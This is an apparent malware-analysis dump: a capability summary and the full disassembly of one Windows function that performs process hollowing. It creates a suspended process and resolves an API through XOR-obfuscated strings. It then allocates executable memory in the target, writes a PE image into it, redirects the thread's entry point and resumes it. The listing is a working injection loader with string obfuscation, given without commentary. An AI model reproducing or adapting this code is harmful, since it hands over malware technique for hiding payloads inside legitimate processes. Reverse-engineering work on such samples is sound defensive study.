Function at 0x140008d50
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5a0]
sub rsp, 0x6a0
mov rax, qword [0x140159060]
xor rax, rsp
mov qword [rbp + 0x590], rax
mov r14, r8
mov rax, rdx
mov qword [rsp + 0x70], rdx
mov qword [rbp - 0x58], r8
movsxd rdx, dword [rdx + 0x3c]
mov qword [rbp - 0x80], rdx
mov ecx, dword [rdx + rax + 0x50]
mov dword [rsp + 0x58], ecx
mov ecx, dword [rdx + rax + 0x54]
mov dword [rsp + 0x60], ecx
mov ecx, dword [rdx + rax + 0x28]
mov dword [rsp + 0x68], ecx
movzx r13d, word [rdx + rax + 6]
mov word [rsp + 0x52], r13w
movzx ecx, word [rdx + rax + 0x14]
mov word [rsp + 0x50], cx
mov rax, qword [rdx + rax + 0x30]
mov qword [rbp - 0x60], rax
mov ecx, 0x68
call fcn.14010cbd4
mov qword [rbp - 0x70], rax
mov ecx, Ordinal_27
call fcn.14010cbd4
mov qword [rbp - 0x68], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
movups xmmword [rbp + 0x34], xmm0
movups xmmword [rbp + 0x44], xmm0
mov dword [rbp + 0x54], eax
mov dword [rbp - 0x10], 0x68
mov rdx, r14
lea rcx, [rbp - 0x38]
call fcn.14000c610
nop
lea rdx, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae rdx, qword [rbp - 0x38]
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140008fd9
movabs rax, 0xcd86f3eaf6ebadef
mov qword [rbp + 0x570], rax
movabs rax, 0xe9c97cbb552c7ea4
mov qword [rbp + 0x578], rax
movabs rax, 0x66aa9960f196ff09
mov qword [rbp + 0x580], rax
movabs r12, 0x703939a1b7078526
mov qword [rbp + 0x588], r12
movabs rax, 0xa2ef87899381c3a6
mov qword [rbp + 0x530], rax
movabs rax, 0x8dac10d2346a5eca
mov qword [rbp + 0x538], rax
movabs rax, 0x66aa993dc1cddf27
mov qword [rbp + 0x540], rax
mov qword [rbp + 0x548], r12
movdqa xmm0, xmmword [rbp + 0x530]
pxor xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x530], xmm0
movdqa xmm1, xmmword [rbp + 0x540]
pxor xmm1, xmmword [rbp + 0x580]
movdqa xmmword [rbp + 0x540], xmm1
lea rax, [rbp + 0x530]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], bl
jne 0x140008f30
lea rdx, [rbp + 0x530]
lea rcx, [0x140601f78]
call fcn.14000d860
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140008f88
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009786
call fcn.14010c6a0
mov byte [rbp - 0x38], 0
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x28], rbx
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x140008fd2
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r14]
jb 0x140008fcd
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009813
mov rcx, r8
call fcn.14010c6a0
xor al, al
jmp 0x1400097d9
mov r15, qword [rbp - 0x50]
mov qword [rsp + 0x78], r15
mov rax, qword [rbp - 0x48]
mov qword [rbp - 0x78], rax
movabs rbx, 0xcd86f3eaf6ebadef
mov qword [rbp + 0x530], rbx
movabs rdi, 0xe9c97cbb552c7ea4
mov qword [rbp + 0x538], rdi
movabs rax, 0xa1e2dd869a8fd981
mov qword [rbp + 0x570], rax
movabs rax, 0xe9c97cbb552c7ec8
mov qword [rbp + 0x578], rax
movdqa xmm0, xmmword [rbp + 0x530]
pxor xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x570], xmm0
lea rcx, [rbp + 0x570]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x550], rbx
mov qword [rbp + 0x558], rdi
movabs rsi, 0x66aa9960f196ff09
mov qword [rbp + 0x560], rsi
movabs r12, 0x703939a1b7078526
mov qword [rbp + 0x568], r12
movabs rcx, 0x9bf6928798bedab5
mov qword [rbp + 0x530], rcx
movabs rcx, 0x8aac2fdd1a5b1bcd
mov qword [rbp + 0x538], rcx
movabs rcx, 0x66aa99609ff9967d
mov qword [rbp + 0x540], rcx
mov qword [rbp + 0x548], r12
movdqa xmm0, xmmword [rbp + 0x550]
pxor xmm0, xmmword [rbp + 0x530]
movdqa xmmword [rbp + 0x530], xmm0
movdqa xmm1, xmmword [rbp + 0x560]
pxor xmm1, xmmword [rbp + 0x540]
movdqa xmmword [rbp + 0x540], xmm1
lea rdx, [rbp + 0x530]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 0x60]
mov rcx, r15
call rax
movsxd r8, dword [rsp + 0x58]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rbp - 0x60]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
jne 0x140009226
mov qword [rbp + 0x550], rbx
mov qword [rbp + 0x558], rdi
mov qword [rbp + 0x560], rsi
mov qword [rbp + 0x568], r12
movabs rax, 0xa2ef87899381c3a6
mov qword [rbp + 0x530], rax
movabs rax, 0x8dac10d2346a5eca
mov qword [rbp + 0x538], rax
movabs rax, 0x66aa993dc0cddf27
mov qword [rbp + 0x540], rax
mov qword [rbp + 0x548], r12
movdqa xmm0, xmmword [rbp + 0x550]
pxor xmm0, xmmword [rbp + 0x530]
movdqa xmmword [rbp + 0x530], xmm0
movdqa xmm1, xmmword [rbp + 0x560]
pxor xmm1, xmmword [rbp + 0x540]
movdqa xmmword [rbp + 0x540], xmm1
lea rax, [rbp + 0x530]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400091c3
lea rdx, [rbp + 0x530]
lea rcx, [0x140601f78]
call fcn.14000d860
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x14000921c
inc rdx
mov rcx, qword [rbp - 0x38]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140009217
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009786
call fcn.14010c6a0
xor ebx, ebx
mov byte [rbp - 0x38], bl
jmp 0x140008f8c
movsxd r9, dword [rsp + 0x60]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r8, qword [rsp + 0x70]
mov rdx, qword [rbp - 0x60]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400092ef
mov qword [rbp + 0x550], rbx
mov qword [rbp + 0x558], rdi
mov qword [rbp + 0x560], rsi
mov qword [rbp + 0x568], r12
movabs rax, 0xa2ef87899381c3a6
mov qword [rbp + 0x530], rax
movabs rax, 0x8dac10d2346a5eca
mov qword [rbp + 0x538], rax
movabs rax, 0x66aa993dc3cddf27
mov qword [rbp + 0x540], rax
mov qword [rbp + 0x548], r12
movdqa xmm0, xmmword [rbp + 0x530]
pxor xmm0, xmmword [rbp + 0x550]
movdqa xmmword [rbp + 0x530], xmm0
movdqa xmm1, xmmword [rbp + 0x560]
pxor xmm1, xmmword [rbp + 0x540]
movdqa xmmword [rbp + 0x540], xmm1
lea rax, [rbp + 0x530]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400092e0
jmp 0x1400091cd
xor eax, eax
movzx r15d, ax
cmp ax, r13w
jge 0x1400093f0
movsx rbx, word [rsp + 0x50]
add rbx, 0x18
mov qword [rsp + 0x58], rbx
nop
mov ecx, Ordinal_41
call fcn.14010cbd4
mov r13, rax
movsx ecx, r15w
lea edx, [rcx + rcx*4]
shl edx, 3
movsxd rcx, edx
add rcx, qword [rbp - 0x80]
add rcx, rbx
mov rax, qword [rsp + 0x70]
movups xmm0, xmmword [rcx + rax]
movups xmmword [r13], xmm0
movups xmm1, xmmword [rcx + rax + 0x10]
movups xmmword [r13 + 0x10], xmm1
movsd xmm0, qword [rcx + rax + 0x20]
movsd qword [r13 + 0x20], xmm0
movsxd rdi, dword [r13 + 0xc]
movsxd rbx, dword [r13 + 0x14]
movsxd rsi, dword [r13 + 0x10]
mov rcx, rsi
call fcn.14010cbd4
mov qword [rsp + 0x60], rax
mov rdx, rbx
add rdx, qword [rsp + 0x70]
mov r8, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rdx, rdi
add rdx, qword [rbp - 0x60]
xor edi, edi
mov qword [rsp + 0x20], rdi
mov r9, rsi
mov rbx, qword [rsp + 0x60]
mov r8, rbx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400094ef
mov rcx, r13
call fcn.14010c6a0
mov rcx, rbx
call fcn.14010c6a0
inc r15w
cmp r15w, word [rsp + 0x52]
mov rbx, qword [rsp + 0x58]
jl 0x140009310
movabs rbx, 0xcd86f3eaf6ebadef
movabs rdi, 0xe9c97cbb552c7ea4
movabs rsi, 0x66aa9960f196ff09
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rbp + 0x60]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x90], 0x10000b
lea rdx, [rbp + 0x60]
mov r13, qword [rbp - 0x78]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp + 0xe8]
add rdx, 0x10
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
lea r8, [rbp - 0x60]
mov r15, qword [rsp + 0x78]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000964e
mov qword [rbp + 0x550], rbx
mov qword [rbp + 0x558], rdi
mov qword [rbp + 0x560], rsi
mov qword [rbp + 0x568], r12
movabs rax, 0xa2ef87899381c3a6
mov qword [rbp + 0x530], rax
movabs rax, 0x8dac10d2346a5eca
mov qword [rbp + 0x538], rax
movabs rax, 0x66aa993dc5cddf27
mov qword [rbp + 0x540], rax
mov qword [rbp + 0x548], r12
movdqa xmm0, xmmword [rbp + 0x530]
pxor xmm0, xmmword [rbp + 0x550]
movdqa xmmword [rbp + 0x530], xmm0
movdqa xmm1, xmmword [rbp + 0x540]
pxor xmm1, xmmword [rbp + 0x560]
movdqa xmmword [rbp + 0x540], xmm1
lea rax, [rbp + 0x530]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400094e0
jmp 0x1400091cd
movabs rax, 0xcd86f3eaf6ebadef
mov qword [rbp + 0x550], rax
movabs rax, 0xe9c97cbb552c7ea4
mov qword [rbp + 0x558], rax
movabs rax, 0x66aa9960f196ff09
mov qword [rbp + 0x560], rax
mov qword [rbp + 0x568], r12
movabs rax, 0xa2ef87899381c3a6
mov qword [rbp + 0x530], rax
movabs rax, 0x8dac10d2346a5eca
mov qword [rbp + 0x538], rax
movabs rax, 0x66aa993dc2cddf27
mov qword [rbp + 0x540], rax
mov qword [rbp + 0x548], r12
movdqa xmm0, xmmword [rbp + 0x530]
pxor xmm0, xmmword [rbp + 0x550]
movdqa xmmword [rbp + 0x530], xmm0
movdqa xmm1, xmmword [rbp + 0x560]
pxor xmm1, xmmword [rbp + 0x540]
movdqa xmmword [rbp + 0x540], xmm1
lea rax, [rbp + 0x530]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x1400095a1
lea rdx, [rbp + 0x530]
lea rcx, [0x140601f78]
call fcn.14000d860
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x1400095f9
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400095f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009786
call fcn.14010c6a0
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x38], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x140009643
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x14000963e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009813
mov rcx, r8
call fcn.14010c6a0
mov qword [r14 + 0x10], rdi
xor al, al
jmp 0x1400097dd
movsxd rax, dword [rsp + 0x68]
add rax, qword [rbp - 0x60]
mov qword [rbp + 0xe0], rax
lea rdx, [rbp + 0x60]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x70]
call fcn.14010c6a0
mov rcx, qword [rbp - 0x68]
call fcn.14010c6a0
mov qword [rbp + 0x550], rbx
mov qword [rbp + 0x558], rdi
mov qword [rbp + 0x560], rsi
mov qword [rbp + 0x568], r12
movabs rax, 0xabf5808f9588d8bc
mov qword [rbp + 0x530], rax
movabs rax, 0x83a7159b2c4012d1
mov qword [rbp + 0x538], rax
movabs rax, 0x66aab80494e29c6c
mov qword [rbp + 0x540], rax
mov qword [rbp + 0x548], r12
movdqa xmm0, xmmword [rbp + 0x530]
pxor xmm0, xmmword [rbp + 0x550]
movdqa xmmword [rbp + 0x530], xmm0
movdqa xmm1, xmmword [rbp + 0x540]
pxor xmm1, xmmword [rbp + 0x560]
movdqa xmmword [rbp + 0x540], xmm1
lea rax, [rbp + 0x530]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140009730
lea rdx, [rbp + 0x530]
lea rcx, [0x140601f78]
call fcn.14000d860
mov byte [0x140601efa], 1
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140009792
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000978d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000978d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14010c6a0
xor ebx, ebx
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x38], bl
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x1400097d9
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x1400097d4
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009813
mov rcx, r8
call fcn.14010c6a0
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], reloc.WS2_32.dll_ntohs
mov byte [r14], 0
mov rcx, qword [rbp + 0x590]
xor rcx, rsp
call fcn.14010c680
mov rbx, qword [rsp + 0x6e0]
add rsp, 0x6a0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3